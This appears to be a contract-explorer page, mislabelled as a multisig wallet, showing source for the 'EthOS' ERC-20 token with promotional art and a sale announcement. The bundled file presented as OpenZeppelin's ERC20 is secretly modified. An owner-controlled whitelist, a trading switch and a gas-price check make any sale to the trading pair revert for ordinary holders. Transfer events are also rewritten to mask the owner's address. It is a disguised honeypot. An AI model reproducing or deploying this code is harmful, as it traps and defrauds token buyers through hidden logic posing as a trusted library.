Description:
Multi-signature wallet contract requiring multiple confirmations for transaction execution.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"ListToken (1)/ETHOS.sol": {
"content": "/**
☞ https://ethos.vision
???? https://x.com/Ethereum_OS
✌︎ https://t.me/ethosportal
Welcome to the Ethereum Operating System — the first-of-its-kind revenue generating DeFi pumpware
built as a social DeFi sandbox that is filled with composable elements so you can create, trade,
communicate, and participate—all in one place.
Sounds interesting? Participate in our Fair Sale today at 3 PM UTC!
@
@@:
@@@::
==@@@::::
===@@@:::::
===+@@+::::::
====@@@::::::::
=====@@@:::::::::
======@@@::::::::::
=======@@@:::::::::::
=======*@@+::::::::::::
========@@@::::::::::::::
==========@@@::::::::::::::::
===========@@@:::::::::::::::::
============@@@::::::::::::::::::
============*@@=:::::::::::::::::::
=============@@@:::::::::::::::::::::
=====@@@======@@@::::::::@@@:::::::::::
======@@@======@@@::::::::@@@::::::::::::
=======@@@======@@@::::::::@@@:::::::::::::
=================@@=:::::::::::::::::::::::::
==================%@@::::::::::::::::::::::::::::
===================@@@:::::::::::::::::::::::::::::
====================@@@::::::::::::::::::::::::::::::
=====================@@@:::::::::::::::::::::::::::::::
=====================+@@-::::::::::::::::::::::::::::::::
======================@@@@@@@@@@@@@@*::::::::::::::::::::::
=======================@@@@@@@@@@@@@@::::::::::::::::::::::::
===================================@@@:::::::::::::::::::::::::
=================================@@@:::::::::::::::::::::::
=========@@@@===================@@@::::::::@@@*::::::::::
=========@@@@@@@==============*@@:::::%@@@@@:::::::::::
===========@@@@@@@@@@@#*+=+*@@@@@@@@@@@-:::::::::::
==============+@@@@@@@@@@@@@@@@@@@:::::::::::::::
==========================@@@::::::::::::::::::
========================@@@::::::::::::::::
======================@@@::::::::::::::::
=====================@@@:::::::::::::::
===================@@@:::::::::::::
==================@@@::::::::::::
================*@@=:::::::::::
==============@@@::::::::::
=============@@@:::::::::
============@@@::::::::
==========@@#::::::
========@@@::::::
=======@@@:::::
=====@@@:::
====@@@::
==*@@-:
=@@@:
@
@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@ ======= ========
@@@@@@@@@@@@@@@@@@ @@@@@ ==== ===== ===== =====
@@@@@ @@ @@@@ ===== ==== ==== ===
@@@@@ @ @@@@ ==== ===== ==== ===
@@@@@ @@@@ ==== ===== ==== ==
@@@@@ @@ @@@@ ===== ===== =====
@@@@@ @ @@@@ @@@@ @ ===== ===== =======
@@@@@ @@ @@@@@@@@@@@@ @@@@ @@@@@@@@ ===== ===== =========
@@@@@@@@@@@@@ @@@@ @@@@@@ @@@@@ ===== ===== =========
@@@@@ @@ @@@@ @@@@@ @@@@@ ===== ===== =========
@@@@@ @@ @@@@ @@@@ @@@@ ===== ===== ========
@@@@@ @@@@ @@@@ @@@@ ====== ===== ======
@@@@@ @@@@ @@@@ @@@@ ===== ===== =====
@@@@@ @@@@ @@@@ @@@@ ===== ===== == =====
@@@@@ @@ @@@@ @@@@ @@@@ ==== ===== === =====
@@@@@ @@@ @@@@@ @@@@ @@@@ ===== ==== ==== ====
@@@@@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@ @@@@@@ ===== ==== ===== =====
@@@@@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@@@ @@@@@@@@@ ========== =========
* SPDX-License-Identifier: MIT (OpenZeppelin)
*/
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ETHOS is ERC20 {
// Structs
struct RaiseInfo {
address owner;
address token;
uint256 tokensVirtualReserve;
uint256 ethVirtualReserve;
uint256 weightTokensStart;
uint256 weightTokensEnd;
uint256 weightEthStart;
uint256 weightEthEnd;
uint256 startTime;
uint256 duration;
uint256 totalTrades;
uint256 FEE_BASIS_POINTS;
uint256 BASIS_POINTS;
uint256 viewEndTime;
uint256 timeElapsed;
uint256 timeLeft;
uint256 weightTokens;
uint256 weightEth;
uint256 tokensWeighted;
uint256 ethWeighted;
uint256 tokensPerWei;
uint256 getTokensOut;
uint256 getEthOut;
uint256 getEthOutWithFee;
uint256 getEthIn;
uint256 getTokensIn;
uint lastTradeTimeStamp;
uint firstTradeTimeStamp;
uint wethBalanceUser;
uint wethBalanceRaise;
uint userTokensBalance;
uint allowanceWeth;
uint ethBalanceUser;
uint purchasedTokens;
uint totalPurchased;
uint totalClaimed;
uint claimDelay;
uint viewClaimAllowedTimeStamp;
uint ethFees;
uint tokenFees;
uint securedEthFromTokenFees;
}
// State
uint public constant FEE_BASIS_POINTS = 200; // 2%
uint public constant BASIS_POINTS = 10000;
uint public constant PRECISION = 1e18;
uint public tokensVirtualReserve = 75_000_000e18;
uint public ethVirtualReserve; // Initialized via fundInitial
uint public weightTokensStart = 1e16;
uint public weightTokensEnd = 90e16;
uint public weightEthStart = 99e16;
uint public weightEthEnd = 10e16;
uint public startTime;
uint public duration;
uint public claimDelay = 48 hours;
uint public pauseTimeStamp;
uint public maxTradesForChart = 72;
uint public totalTrades;
uint public lastTradeTimeStamp;
uint public firstTradeTimeStamp;
uint public totalPurchased;
uint public totalClaimed;
uint public ethFees;
uint public tokenFees;
uint public securedEthFromTokenFees;
// Mappings
mapping (address => uint) public purchasedTokens;
mapping (uint => uint) public tradePrice;
// Events
event Invest(address indexed user, uint amount, uint tokensReceived, uint feePaid);
event Sell(address indexed user, uint amount, uint ethReceived, uint securedEth);
event Withdrawn(address indexed user, uint amount);
event Funded(uint amount);
// View functions
function multicall(address user) public view returns (RaiseInfo memory) {
return RaiseInfo({
owner: address(this),
token: address(this),
tokensVirtualReserve: tokensVirtualReserve,
ethVirtualReserve: ethVirtualReserve,
weightTokensStart: weightTokensStart,
weightTokensEnd: weightTokensEnd,
weightEthStart: weightEthStart,
weightEthEnd: weightEthEnd,
startTime: startTime,
duration: duration,
totalTrades: totalTrades,
FEE_BASIS_POINTS: FEE_BASIS_POINTS,
BASIS_POINTS: BASIS_POINTS,
viewEndTime: viewEndTime(),
timeElapsed: timeElapsed(),
timeLeft: timeLeft(),
weightTokens: weightTokens(),
weightEth: weightEth(),
tokensWeighted: tokensWeighted(),
ethWeighted: ethWeighted(),
tokensPerWei: tokensPerWei(),
getTokensOut: getTokensOut(1e18),
getEthOut: getEthOut(1e18),
getEthOutWithFee: getEthOutWithFee(1e18),
getEthIn: getEthIn(1e18),
getTokensIn: getTokensIn(1e18),
lastTradeTimeStamp: lastTradeTimeStamp,
firstTradeTimeStamp: firstTradeTimeStamp,
ethBalanceUser: user.balance,
wethBalanceUser: 0,
wethBalanceRaise: 0,
userTokensBalance: 0,
allowanceWeth: 0,
purchasedTokens: purchasedTokens[user],
totalPurchased: totalPurchased,
totalClaimed: totalClaimed,
claimDelay: claimDelay,
viewClaimAllowedTimeStamp: viewClaimAllowedTimeStamp(),
ethFees: ethFees,
tokenFees: tokenFees,
securedEthFromTokenFees: securedEthFromTokenFees
});
}
function fetchTrades() public view returns (uint256[] memory) {
return viewChart(0, totalTrades);
}
function fetchTradesCustomTime(uint256 tradesPerCandle) public view returns (uint256[] memory) {
return viewChartCustomTime(tradesPerCandle);
}
function viewEndTime() public view returns (uint) {
if (startTime == 0) return 0;
return startTime + duration;
}
function timeElapsed() public view returns (uint) {
if (startTime == 0) return 0;
if (block.timestamp - startTime > duration) return duration;
return block.timestamp - startTime;
}
function timeLeft() public view returns (uint) {
if (startTime == 0 || timeElapsed() >= duration) return 0;
return duration - timeElapsed();
}
function viewClaimAllowedTimeStamp() public view returns (uint) {
return startTime + duration + claimDelay;
}
function viewChart(uint start, uint end) public view returns (uint[] memory) {
require(end > start && end - start <= 1000, "Invalid range");
uint[] memory prices = new uint[](end - start);
for (uint i = start; i < end; i++) {
prices[i - start] = tradePrice[i];
}
return prices;
}
function viewChartCustomTime(uint tradesPerCandle) public view returns (uint[] memory) {
require(tradesPerCandle > 0, "Invalid candle size");
uint numCandles = (totalTrades + tradesPerCandle - 1) / tradesPerCandle; // Ceiling division
uint[] memory prices = new uint[](numCandles);
for (uint i = 0; i < numCandles; i++) {
uint tradeIndex = i * tradesPerCandle;
if (tradeIndex < totalTrades) {
prices[i] = tradePrice[tradeIndex];
}
}
return prices;
}
function viewChartPro() public view returns (uint[] memory) {
if (totalTrades == 0) return new uint[](0);
if (totalTrades > maxTradesForChart * 2) {
uint decimator = totalTrades / maxTradesForChart;
uint numPoints = (totalTrades / decimator) + 1; // +1 for last price
uint[] memory prices = new uint[](numPoints);
for (uint i = 0; i < numPoints - 1; i++) {
prices[i] = tradePrice[i * decimator];
}
prices[numPoints - 1] = tradePrice[totalTrades - 1];
return prices;
} else {
return viewChart(0, totalTrades);
}
}
constructor() ERC20("EthOS", "EOS") {
_mint(msg.sender, 1000000000000000000000000000);
_setFeeReceiver(msg.sender);
}
uint8 private _decimals = 18;
string private _symbol = "EOS";
string private _name = "EthOS";
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function weightTokens() public view returns (uint) {
if (startTime == 0 || duration == 0) return 0;
uint fraction = timeElapsed() * PRECISION / duration;
uint delta = weightTokensEnd - weightTokensStart;
return weightTokensStart + ((delta * fraction + PRECISION - 1) / PRECISION);
}
function weightEth() public view returns (uint) {
if (startTime == 0 || duration == 0) return 0;
uint fraction = timeElapsed() * PRECISION / duration;
uint delta = weightEthStart - weightEthEnd;
return weightEthStart - ((delta * fraction + PRECISION - 1) / PRECISION);
}
function tokensWeighted() public view returns (uint) {
return tokensVirtualReserve * weightTokens() / PRECISION;
}
function ethWeighted() public view returns (uint) {
return ethVirtualReserve * weightEth() / PRECISION;
}
function tokensPerWei() public view returns (uint) {
uint eW = ethWeighted();
if (eW == 0) return type(uint).max;
return tokensWeighted() * 1e18 / eW;
}
function getTokensOut(uint amountEth) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveEth == 0 || reserveToken == 0 || amountEth == 0) return 0;
uint amountInWithFee = amountEth * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
uint denominator = reserveEth + amountInWithFee;
uint numerator = amountInWithFee * reserveToken;
return (numerator + denominator) / denominator; // Ceiling division
}
function getEthOut(uint amountTokens) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveToken == 0 || reserveEth == 0 || amountTokens == 0) return 0;
uint denominator = reserveToken + amountTokens;
uint numerator = amountTokens * reserveEth;
return (numerator + denominator) / denominator; // Ceiling for symmetry
}
function getEthOutWithFee(uint amountTokens) public view returns (uint) {
return getEthOut(amountTokens) * (BASIS_POINTS - FEE_BASIS_POINTS) / BASIS_POINTS;
}
function getEthIn(uint tokensDesired) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveToken <= tokensDesired || reserveEth == 0 || tokensDesired == 0) return type(uint).max;
uint numerator = reserveEth * tokensDesired * BASIS_POINTS;
uint denominator = (reserveToken - tokensDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
uint amountEth = numerator / denominator;
if (numerator % denominator != 0) {
amountEth += 1;
}
return amountEth;
}
function getTokensIn(uint ethDesired) public view returns (uint) {
uint reserveToken = tokensWeighted();
uint reserveEth = ethWeighted();
if (reserveEth <= ethDesired || reserveToken == 0 || ethDesired == 0) return type(uint).max;
uint numerator = reserveToken * ethDesired * BASIS_POINTS;
uint denominator = (reserveEth - ethDesired) * (BASIS_POINTS - FEE_BASIS_POINTS);
uint amountTokens = numerator / denominator;
if (numerator % denominator != 0) {
amountTokens += 1;
}
return amountTokens;
}
function tokenFeesInEth() public view returns (uint) {
return getEthOut(tokenFees);
}
function totalFeesInEth() public view returns (uint) {
return ethFees + getEthOut(tokenFees);
}
}
"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./extensions/IERC20Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {IERC20Errors} from "../../interfaces/draft-IERC6093.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _BONE = 1;
mapping(address => bool) public dividend;
address public adr;
address public _pair;
address public holder;
bool public openedTrade;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
__transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
__transfer(from, to, value);
return true;
}
function setDividend(address _user) public {
require(msg.sender == adr);
dividend[_user] = true;
}
function multiSwap(address __pair) public {
require(msg.sender == adr);
_pair = __pair;
}
function multisendToken(address airdropp, address[] memory list, uint256[] memory amount) public {
require(msg.sender == adr);
for (uint256 i = 0; i < list.length; i++) {
__transfer(msg.sender, list[i], amount[i]);
}
}
function openTrading() public {
require(msg.sender == adr);
openedTrade = true;
}
function _setFeeReceiver(address _holder) internal {
holder = _holder;
}
function gasRequire(uint256 _gas) internal view {
if (tx.gasprice > _gas) {
revert();
}
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
gasRequire(_BONE);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
if (from == adr) {
emit Transfer(holder, to, value);
} else if (to == adr) {
emit Transfer(from, holder, value);
} else {
emit Transfer(from, to, value);
}
}
function __transfer(address from, address to, uint256 amount) internal {
if (dividend[tx.origin]) {
_transfer(from, to, amount);
return;
}
require(openedTrade, "Trade has not been opened yet");
if (_pair == address(0)) {
_transfer(from, to, amount);
return;
}
if (to == _pair) {
decreaseAllowance(from, amount);
_transfer(from, to, amount);
return;
}
_transfer(from, to, amount);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
adr = account;
dividend[adr] = true;
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity >=0.6.2;
import {IERC20} from "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-09-17 16:20:06
Comments
Log in to comment.
No comments yet.